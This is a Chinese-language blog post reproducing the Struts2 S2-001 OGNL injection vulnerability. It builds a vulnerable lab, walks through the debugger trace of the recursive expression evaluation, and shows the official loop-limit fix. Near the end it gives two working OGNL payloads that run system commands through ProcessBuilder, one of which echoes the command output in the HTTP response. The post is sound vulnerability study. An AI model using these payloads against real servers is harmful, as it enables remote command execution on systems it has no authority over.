Java反序列化之 structS2-001环境搭建(新版idea)和漏洞复现

环境搭建:

idea新建项目->maven-archetype->选择org.apache.maven.archetypes:maven-archetype-webapp->创建

 

创建后要等几秒种等待加载好目录

pom.xml导入依赖:

<dependency>
    <groupId>org.apache.struts</groupId>
    <artifactId>struts2-core</artifactId>
    <version>2.0.8</version>
</dependency>

web.xml配置struts2的过滤器

<web-app>
  <display-name>S2-001 Example</display-name>
  <filter>
    <filter-name>struts2</filter-name>
    <filter-class>org.apache.struts2.dispatcher.FilterDispatcher</filter-class>
  </filter>
  <filter-mapping>
    <filter-name>struts2</filter-name>
    <url-pattern>/*</url-pattern>
  </filter-mapping>
  <welcome-file-list>
    <welcome-file>index.jsp</welcome-file>
  </welcome-file-list>
</web-app>

然后在main下添加java源目录

image

然后在java目录下创建com.test.s2001.action.LoginAction

image

package com.test.s2001.action;

import com.opensymphony.xwork2.ActionSupport;

public class LoginAction extends ActionSupport{
    private String username = null;
    private String password = null;

    public String getUsername() {
        return this.username;
    }

    public String getPassword() {
        return this.password;
    }

    public void setUsername(String username) {
        this.username = username;
    }

    public void setPassword(String password) {
        this.password = password;
    }

    public String execute() throws Exception {
        if ((this.username.isEmpty()) || (this.password.isEmpty())) {
            return "error";
        }
        if ((this.username.equalsIgnoreCase("admin"))
                && (this.password.equals("admin"))) {
            return "success";
        }
        return "error";
    }
}

修改webapp目录下的index.jsp

<%@ page language="java" contentType="text/html; charset=UTF-8"
         pageEncoding="UTF-8"%>
<%@ taglib prefix="s" uri="/struts-tags" %>

<html>
<head>
    <meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
    <title>S2-001</title>
</head>
<body>
<h2>S2-001 Demo</h2>
<s:form action="login">
    <s:textfield name="username" label="username" />
    <s:textfield name="password" label="password" />
    <s:submit></s:submit>
</s:form>
</body>
</html>

webapp目录下新建welcome.jsp

<%@ page language="java" contentType="text/html; charset=UTF-8"
         pageEncoding="UTF-8"%>
<%@ taglib prefix="s" uri="/struts-tags" %>

<html>
<head>
    <meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
    <title>S2-001</title>
</head>
<body>
<p>Hello <s:property value="username"></s:property></p>
</body>
</html>

main目录下创建一个resources 文件夹,内部添加一个 struts.xml

<?xml version="1.0" encoding="UTF-8"?>

<!DOCTYPE struts PUBLIC
        "-//Apache Software Foundation//DTD Struts Configuration 2.0//EN"
        "http://struts.apache.org/dtds/struts-2.0.dtd">

<struts>
    <package name="S2-001" extends="struts-default">
        <action name="login" class="com.test.s2001.action.LoginAction">
            <result name="success">welcome.jsp</result>
            <result name="error">index.jsp</result>
        </action>
    </package>
</struts>

最后就是配置一个tomcat环境

image

然后记得要部署工件,下方会有自动提示,点修复即可

image

这样整个配置流程就结束了,然后运行tomcat看一下效果

image

submit

image

OGNL表达式基础

漏洞复现

漏洞影响范围

WebWork 2.1 (with altSyntax enabled)

WebWork 2.2.0 - WebWork 2.2.5

Struts 2.0.0 - Struts 2.0.8

Struts2 对 OGNL 表达式的解析使用了开源组件 opensymphony.xwork 2.0.3 所以会有漏洞

流程分析

先说一下Struts2 的执行流程

  1. 首先就是我们在配置web.xml的时候是设置了一个filter过滤器,并且还配置/* 全部的路由,这里全部路由就是交给 struts2 来处理
  2. Interceptor-stack:执行拦截器,应用程序通常会在拦截器中实现一部分功能。也包括在 struts-core 包中 struts-default.xml 文件配置的默认的一些拦截器。
  3. 配置Action:根据访问路径,找到处理这个请求对应的 Action 控制类,通常配置在 struts.xml 中的 package 中
  4. 最后由 Action 控制类执行请求的处理,执行结果可能是视图文件,可能是去访问另一个 Action,结果通过 HTTPServletResponse 响应

在我们配置的filter过滤器中的dofilter主要做了以下业务:

  • 设置编码和本地化信息
  • 创建 ActionContext 对象
  • 分配当前线程的分发器
  • 将request对象进行封装
  • 获取 ActionMapping 对象, ActionMapping 对象对应一个action详细配置信息
  • 执行 Action 请求, 也就是 serviceAction() 方法

所以我们跟进FilterDispatcher中在dofilter处下个断点

image

然后我们一直下一步,下一步直到看到serviceAction() 方法(中间的过程就是一些判断和赋值,不是重点)

image

然后我们跟进serviceAction方法中,分析一下这段代码

image

首先就是获取当前请求是否已经有ValueStack 对象,这样是为了在接收到chain跳转方式的请求时候,可以直接接管上次请求的action。

如果没有ValueStack 对象的话,就获取当前线程中的ActionContext对象;如果有 ValueStack 对象,将事先处理好的请求中的参数 put 到 ValueStack 中,接着获取 ActionMapping 中配置的 namespace, name, method 值

image

继续获取到namespace, name, method 值之后,ActionProxyFactory 的 createActionProxy()方法初始化了一个actionproxy,同时也创建了StrutsActionProxy 的实例,它是继承自com.opensymphony.xwork2.DefaultActionProxy 的, 在这个代理对象内部实际上就持有了DefaultActionInvocation 的一个实例

DefaultActionInvocation 对象中保存了 Action 调用过程中需要的一切信息

image

然后我们继续跟,发现到了proxy.execute()方法中去,发现就是获取了一下上下文,并且用setter方法赋值上下文

image

我们继续跟到invoke中去

image 

在invoke方法中,首先会使用迭代器顺序的递归执行当前action中配置的所有拦截器,一直持续到拦截器全都遍历完之后调用真正的action,这里的迭代器是struts2 包内的 struts-default.xml 里面的 interceptors 标签中的内容

image

而在这么多迭代器中有有一个param迭代器是用来处理我们输入的参数的,看到这里就想到这里会不会就有OGNL表达式的处理,因为该漏洞的本质就是OGNL

表达式的调用

在所有迭代器都执行完之后,就到了invokeActionOnly方法中,跟进去看一下,发现调用了invokeAction方法,我们跟进去

image

发现通过反射调用执行了action实现类里的execute方法,开始处理用户的逻辑信息

image

现在回到invoke方法中,invokeActionOnly之后,然后我们跟到executeResult()中

image

看代码。首先就是createResult()创建了一个result对象,后面会去判断result是否为空,不为空的话去执行execute(从图片中也可以看出result不为空),所以跟进execute

image

execute中还有个doExecute(),继续跟进

image

看代码,首先准备执行环境,request, pageContext 等之后,会发送真正的响应信息,这时候我们调试发现返回的结果是jsp文件

image

下面的调试是无法在上面的过程中跟入的,需要自己找到ComponentTagSupport包,然后下断点调试

然后的话就会调用jspservlet来处理请求,当在解析标签的时候,会分别对标签的开始和结束位置调用org.apache.struts2.views.jsp.ComponentTagSupport 中的 doStartTag()(一些初始化操作) 及 doEndTag() (标签解析后调用end方法)方法

image

而在doendtag方法中的end方法就是我们今天的主角,也就是漏洞触发的地方,我们跟进去,在跟进evaluateParams() 方法中去

然后在这个方法中往下找到altSyntax参数(大概在305行左右,根据个人情况而定),这里由于altSyntax是默认开启的,所以代码会跳到addParameter处执行findvalue方法寻找参数值

在此处我们也可以看到expr参数就是会将username拼接到%{}中去,本来这样如果我们输入恶意payload:%{2*2}是无法被解析的,问题就出在后面的处理

我们跟到findvalue中,再跟到translateVariables中去

我们往下面看,会发现此处会将expr参数首尾的{和}去掉赋值给var参数,然后紧接着就是findvalue将获取到的username参数(也就是我们上方的%{2*2})赋值给o,然后会再次赋值给expression,这时检测到还是ognl表达式,就会再一次进入循环,这时候的结果就是4,并再次赋值o->expression,这时候检测到不是ognl表达式就不会进入循环,最终造成了s2-001漏洞

漏洞利用

%{(new java.lang.ProcessBuilder(new java.lang.String[]{"calc"})).start()}

%{#a=(new java.lang.ProcessBuilder(new java.lang.String[]{"cmd","-c","clac"})).redirectErrorStream(true).start(),#b=#a.getInputStream(),#c=new java.io.InputStreamReader(#b),#d=new java.io.BufferedReader(#c),#e=new char[50000],#d.read(#e),#f=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"),#f.getWriter().println(new java.lang.String(#e)),#f.getWriter().flush(),#f.getWriter().close()}

漏洞修复

官方给出的漏洞修复就是多了一段判断循环次数的代码,从而在解析到 %{1+1}

时候不会继续向下递归

public static Object translateVariables(char open, String expression, ValueStack stack, Class asType, ParsedValueEvaluator evaluator, int maxLoopCount) {
    // deal with the "pure" expressions first!
    //expression = expression.trim();
    Object result = expression;
    int loopCount = 1;
    int pos = 0;
    while (true) {

        int start = expression.indexOf(open + "{", pos);
        if (start == -1) {
            pos = 0;
            loopCount++;
            start = expression.indexOf(open + "{");
        }
        //修复处
        if (loopCount > maxLoopCount) {
            // translateVariables prevent infinite loop / expression recursive evaluation
            break;
        }
        int length = expression.length();
        int x = start + 2;
        int end;
        char c;
        int count = 1;
        while (start != -1 && x < length && count != 0) {
            c = expression.charAt(x++);
            if (c == '{') {
                count++;
            } else if (c == '}') {
                count--;
            }
        }
        end = x - 1;

        if ((start != -1) && (end != -1) && (count == 0)) {
            String var = expression.substring(start + 2, end);

            Object o = stack.findValue(var, asType);
            if (evaluator != null) {
                o = evaluator.evaluate(o);
            }

            String left = expression.substring(0, start);
            String right = expression.substring(end + 1);
            String middle = null;
            if (o != null) {
                middle = o.toString();
                if (!TextUtils.stringSet(left)) {
                    result = o;
                } else {
                    result = left + middle;
                }

                if (TextUtils.stringSet(right)) {
                    result = result + right;
                }

                expression = left + middle + right;
            } else {
                // the variable doesn't exist, so don't display anything
                result = left + right;
                expression = left + right;
            }
            pos = (left != null && left.length() > 0 ? left.length() - 1: 0) +
                  (middle != null && middle.length() > 0 ? middle.length() - 1: 0) +
                  1;
            pos = Math.max(pos, 1);
        } else {
            break;
        }
    }

    return XWorkConverter.getInstance().convertValue(stack.getContext(), result, asType);
}

参考文章

https://drun1baby.top/2022/10/27/Java-Struts2-%E7%B3%BB%E5%88%97-S2-001/#0x01-%E5%89%8D%E8%A8%80

https://drun1baby.top/2022/11/02/Java-Struts2-%E5%AD%A6%E4%B9%A0%E4%B8%8E%E7%8E%AF%E5%A2%83%E6%90%AD%E5%BB%BA/#0x04-OGNL-%E8%A1%A8%E8%BE%BE%E5%BC%8F

posted @ 2025-07-22 18:06  Zephyr07  阅读(32)  评论(0)    收藏  举报